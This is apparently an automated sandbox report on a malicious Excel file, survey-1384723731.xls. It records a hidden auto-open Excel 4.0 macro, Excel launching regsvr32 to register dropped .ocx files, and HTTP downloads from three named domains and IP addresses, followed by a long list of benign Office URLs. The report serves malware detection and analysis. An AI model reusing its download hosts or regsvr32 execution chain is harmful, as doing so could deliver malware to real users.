Loading ...

Play interactive tourEdit tour

Windows Analysis Report survey-1384723731.xls

Overview

General Information

Sample Name:survey-1384723731.xls
Analysis ID:528587
MD5:00bec62d14bc9f8a32948f2c6c512a8f
SHA1:d2ef80f029f8f035947f1bc6f5929d225374dda4
SHA256:59d14a53849a19d0dd5ccaf63a85955adbd313c9ec7d92422c0fcdda357b8ce0
Infos:

Most interesting Screenshot:

Detection

Hidden Macro 4.0
Score:72
Range:0 - 100
Whitelisted:false
Confidence:100%

Signatures

Office document tries to convince victim to disable security protection (e.g. to enable ActiveX or Macros)
Multi AV Scanner detection for submitted file
Sigma detected: Microsoft Office Product Spawning Windows Shell
Document exploit detected (process start blacklist hit)
Document exploit detected (UrlDownloadToFile)
Yara detected hidden Macro 4.0 in Excel
Yara signature match
Found a hidden Excel 4.0 Macro sheet
Potential document exploit detected (unknown TCP traffic)
Tries to load missing DLLs
Uses a known web browser user agent for HTTP communication
Document contains embedded VBA macros
JA3 SSL client fingerprint seen in connection with other malware
Potential document exploit detected (performs DNS queries)
Potential document exploit detected (performs HTTP gets)
IP address seen in connection with other malware
Document misses a certain OLE stream usually present in this Microsoft Office document type

Classification

Process Tree

  • System is w10x64
  • EXCEL.EXE (PID: 5044 cmdline: "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding MD5: 5D6638F2C8F8571C593999C58866007E)
    • regsvr32.exe (PID: 6428 cmdline: "C:\Windows\System32\regsvr32.exe" C:\Datop\besta.ocx MD5: 426E7499F6A7346F0410DEAD0805586B)
    • regsvr32.exe (PID: 6440 cmdline: "C:\Windows\System32\regsvr32.exe" C:\Datop\bestb.ocx MD5: 426E7499F6A7346F0410DEAD0805586B)
    • regsvr32.exe (PID: 6460 cmdline: "C:\Windows\System32\regsvr32.exe" C:\Datop\bestc.ocx MD5: 426E7499F6A7346F0410DEAD0805586B)
  • cleanup

Malware Configuration

No configs have been found

Yara Overview

Initial Sample

SourceRuleDescriptionAuthorStrings
survey-1384723731.xlsSUSP_Excel4Macro_AutoOpenDetects Excel4 macro use with auto open / closeJohn Lambert @JohnLaTwC
  • 0x0:$header_docf: D0 CF 11 E0
  • 0x3b2aa:$s1: Excel
  • 0x3c378:$s1: Excel
  • 0x3521:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3A
survey-1384723731.xlsJoeSecurity_HiddenMacroYara detected hidden Macro 4.0 in ExcelJoe Security

    Dropped Files

    SourceRuleDescriptionAuthorStrings
    C:\Users\user\Desktop\survey-1384723731.xlsSUSP_Excel4Macro_AutoOpenDetects Excel4 macro use with auto open / closeJohn Lambert @JohnLaTwC
    • 0x0:$header_docf: D0 CF 11 E0
    • 0x3b2aa:$s1: Excel
    • 0x3c378:$s1: Excel
    • 0x3521:$Auto_Open: 18 00 17 00 20 00 00 01 07 00 00 00 00 00 00 00 00 00 00 01 3A
    C:\Users\user\Desktop\survey-1384723731.xlsJoeSecurity_HiddenMacroYara detected hidden Macro 4.0 in ExcelJoe Security

      Sigma Overview

      System Summary:

      barindex
      Sigma detected: Microsoft Office Product Spawning Windows ShellShow sources
      Source: Process startedAuthor: Michael Haag, Florian Roth, Markus Neis, Elastic, FPT.EagleEye Team: Data: Command: "C:\Windows\System32\regsvr32.exe" C:\Datop\besta.ocx, CommandLine: "C:\Windows\System32\regsvr32.exe" C:\Datop\besta.ocx, CommandLine|base64offset|contains: , Image: C:\Windows\SysWOW64\regsvr32.exe, NewProcessName: C:\Windows\SysWOW64\regsvr32.exe, OriginalFileName: C:\Windows\SysWOW64\regsvr32.exe, ParentCommandLine: "C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE" /automation -Embedding, ParentImage: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXE, ParentProcessId: 5044, ProcessCommandLine: "C:\Windows\System32\regsvr32.exe" C:\Datop\besta.ocx, ProcessId: 6428

      Jbx Signature Overview

      Click to jump to signature section

      Show All Signature Results

      AV Detection:

      barindex
      Multi AV Scanner detection for submitted fileShow sources
      Source: survey-1384723731.xlsVirustotal: Detection: 39%Perma Link
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEFile opened: C:\Windows\SysWOW64\MSVCR100.dll
      Source: unknownHTTPS traffic detected: 192.185.79.2:443 -> 192.168.2.5:49737 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 192.185.129.7:443 -> 192.168.2.5:49755 version: TLS 1.2
      Source: unknownHTTPS traffic detected: 103.247.11.218:443 -> 192.168.2.5:49757 version: TLS 1.2

      Software Vulnerabilities:

      barindex
      Document exploit detected (process start blacklist hit)Show sources
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXEProcess created: C:\Windows\SysWOW64\regsvr32.exe
      Document exploit detected (UrlDownloadToFile)Show sources
      Source: C:\Program Files (x86)\Microsoft Office\Office16\EXCEL.EXESection loaded: unknown origin: URLDownloadToFileA
      Source: global trafficTCP traffic: 192.168.2.5:49737 -> 192.185.79.2:443
      Source: global trafficDNS query: name: klevvrtech.com
      Source: global trafficTCP traffic: 192.168.2.5:49737 -> 192.185.79.2:443
      Source: global trafficHTTP traffic detected: GET /zxywJAC24KJ/ji.html HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: klevvrtech.comConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /OYcMRJbL/ji.html HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: srkcampus.orgConnection: Keep-Alive
      Source: global trafficHTTP traffic detected: GET /fbmKk6n48G/ji.html HTTP/1.1Accept: */*Accept-Encoding: gzip, deflateUser-Agent: Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 10.0; WOW64; Trident/7.0; .NET4.0C; .NET4.0E; .NET CLR 2.0.50727; .NET CLR 3.0.30729; .NET CLR 3.5.30729)Host: rstebet.co.idConnection: Keep-Alive
      Source: Joe Sandbox ViewJA3 fingerprint: 37f463bf4616ecd445d4a1937da06e19
      Source: Joe Sandbox ViewIP Address: 192.185.129.7 192.185.129.7
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49755
      Source: unknownNetwork traffic detected: HTTP traffic on port 49757 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49737
      Source: unknownNetwork traffic detected: HTTP traffic on port 49737 -> 443
      Source: unknownNetwork traffic detected: HTTP traffic on port 443 -> 49757
      Source: unknownNetwork traffic detected: HTTP traffic on port 49755 -> 443
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: http://olkflt.edog.officeapps.live.com/olkflt/outlookflighting.svc/api/glides
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: http://weather.service.msn.com/data.aspx
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://addinsinstallation.store.office.com/app/acquisitionlogging
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://addinsinstallation.store.office.com/app/download
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://addinsinstallation.store.office.com/appinstall/authenticated
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://addinsinstallation.store.office.com/appinstall/preinstalled
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://addinsinstallation.store.office.com/appinstall/unauthenticated
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://addinsinstallation.store.office.com/orgid/appinstall/authenticated
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://addinslicensing.store.office.com/commerce/query
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://addinslicensing.store.office.com/entitlement/query
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://addinslicensing.store.office.com/orgid/apps/remove
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://addinslicensing.store.office.com/orgid/entitlement/query
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://analysis.windows.net/powerbi/api
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://apc.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://api.aadrm.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://api.aadrm.com/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://api.addins.omex.office.net/appinfo/query
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://api.addins.omex.office.net/appstate/query
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://api.addins.store.office.com/addinstemplate
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://api.addins.store.office.com/app/query
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://api.addins.store.officeppe.com/addinstemplate
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://api.cortana.ai
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://api.diagnostics.office.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://api.diagnosticssdf.office.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://api.microsoftstream.com/api/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://api.office.net
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://api.onedrive.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://api.powerbi.com/beta/myorg/imports
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/datasets
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://api.powerbi.com/v1.0/myorg/groups
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://apis.live.net/v5.0/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://arc.msn.com/v4/api/selection
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://asgsmsproxyapi.azurewebsites.net/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://augloop.office.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://augloop.office.com/v2
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://augloop.office.com;https://augloop-int.officeppe.com;https://augloop-dogfood.officeppe.com;h
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://autodiscover-s.outlook.com/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://autodiscover-s.outlook.com/autodiscover/autodiscover.xml
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://cdn.entity.
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/stat/images/OneDriveUpsell.png
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSignUpUpsell
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://cdn.odc.officeapps.live.com/odc/xml?resource=OneDriveSyncClientUpsell
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://client-office365-tas.msedge.net/ab
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://clients.config.office.net/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/android/policies
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/ios
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/mac
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://clients.config.office.net/user/v1.0/tenantassociationkey
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://cloudfiles.onenote.com/upload.aspx
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://config.edge.skype.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://config.edge.skype.com/config/v1/Office
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://config.edge.skype.com/config/v2/Office
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://cortana.ai
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://cortana.ai/api
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://cr.office.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://dataservice.o365filtering.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://dataservice.o365filtering.com/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://dataservice.o365filtering.com/PolicySync/PolicySync.svc/SyncFile
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PolicySync/PolicySync.svc/SyncFile
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://dataservice.protection.outlook.com/PsorWebService/v1/ClientSyncFile/MipPolicies
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://dev.cortana.ai
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://dev.virtualearth.net/REST/V1/GeospatialEndpoint/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://dev0-api.acompli.net/autodetect
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://devnull.onenote.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://directory.services.
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://ecs.office.com/config/v2/Office
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://enrichment.osi.office.net/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Refresh/v1
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Resolve/v1
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/Search/v1
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/StockHistory/v1
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/ipcheck/v1
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/Metadata/metadata.json
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/desktop/main.cshtml
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://enrichment.osi.office.net/OfficeEnrichment/web/view/web/main.cshtml
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://entitlement.diagnostics.office.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://entitlement.diagnosticssdf.office.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://eur.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://excel.uservoice.com/forums/304936-excel-for-mobile-devices-tablets-phones-android
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://globaldisco.crm.dynamics.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://graph.ppe.windows.net
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://graph.ppe.windows.net/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://graph.windows.net
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://graph.windows.net/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/api/telemetry
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/browse?cp=remix3d
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=icons&premium=1
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockimages&premium=1
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsoftcontent?initpivot=stockvideos&premium=1
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://hubblecontent.osi.office.net/contentsvc/microsofticon?
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://incidents.diagnostics.office.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://incidents.diagnosticssdf.office.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/hosted?host=office&adlt=strict&hostType=Immersive
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Bing
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=ClipArt
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Facebook
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=Flickr
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://insertmedia.bing.office.net/images/officeonlinecontent/browse?cp=OneDrive
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://insertmedia.bing.office.net/odc/insertmedia
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://learningtools.onenote.com/learningtoolsapi/v2.0/GetFreeformSpeech
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://lifecycle.office.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://login.microsoftonline.com/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://login.windows-ppe.net/common/oauth2/authorize
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://login.windows.local
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://login.windows.net/72f988bf-86f1-41af-91ab-2d7cd011db47/oauth2/authorize
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://login.windows.net/common/oauth2/authorize
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://loki.delve.office.com/api/v1/configuration/officewin32/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://lookup.onenote.com/lookup/geolocation/v1
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://management.azure.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://management.azure.com/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://messaging.office.com/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://metadata.templates.cdn.office.net/client/log
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://na01.oscs.protection.outlook.com/api/SafeLinksApi/GetPolicy
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://nam.learningtools.onenote.com/learningtoolsapi/v2.0/getfreeformspeech
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://ncus.contentsync.
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://ncus.pagecontentsync.
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://o365auditrealtimeingestion.manage.office.com/api/userauditrecord
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://o365diagnosticsppe-web.cloudapp.net
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://ocos-office365-s2s.msedge.net/ab
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://ofcrecsvcapi-int.azurewebsites.net/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://officeapps.live.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://officeci.azurewebsites.net/api/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://officemobile.uservoice.com/forums/929800-office-app-ios-and-ipad-asks
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://officesetup.getmicrosoftkey.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://ogma.osi.office.net/TradukoApi/api/v1.0/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentities
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officeentitiesupdated
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentities
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://omex.cdn.office.net/addinclassifier/officesharedentitiesupdated
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://onedrive.live.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://onedrive.live.com/about/download/?windows10SyncClientInstalled=false
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://onedrive.live.com/embed?
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://osi.office.net
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://otelrules.azureedge.net
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://outlook.office.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://outlook.office.com/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://outlook.office.com/autosuggest/api/v1/init?cvid=
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://outlook.office365.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://outlook.office365.com/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://outlook.office365.com/api/v1.0/me/Activities
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://outlook.office365.com/autodiscover/autodiscover.json
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://ovisualuiapp.azurewebsites.net/pbiagave/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://pages.store.office.com/appshome.aspx?productgroup=Outlook
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://pages.store.office.com/review/query
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://pages.store.office.com/webapplandingpage.aspx
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://partnerservices.getmicrosoftkey.com/PartnerProvisioning.svc/v1/subscriptions
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/System.ShortCircuitProfile.json
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://pf.directory.live.com/profile/mine/WLX.Profiles.IC.json
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://portal.office.com/account/?ref=ClientMeControl
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://posarprodcssservice.accesscontrol.windows.net/v2/OAuth2-13
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://powerlift-frontdesk.acompli.net
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://powerlift.acompli.net
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://powerpoint.uservoice.com/forums/288952-powerpoint-for-ipad-iphone-ios
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://prod-global-autodetect.acompli.net/autodetect
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://r4.res.office365.com/footprintconfig/v1.7/scripts/fpconfig.json
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://res.getmicrosoftkey.com/api/redemptionevents
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://roaming.edog.
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://rpsticket.partnerservices.getmicrosoftkey.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://settings.outlook.com
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://shell.suite.office.com:1443
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://skyapi.live.net/Activity/
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://sr.outlook.office.net/ws/speech/recognize/assistant/work
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://staging.cortana.ai
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://storage.live.com/clientlogs/uploadlocation
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://store.office.cn/addinstemplate
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://store.office.de/addinstemplate
      Source: CBFF3701-7631-452C-BE3A-4FA719E7E49C.0.drString found in binary or memory: https://substrate.office.com/search/api/v1/SearchHistory
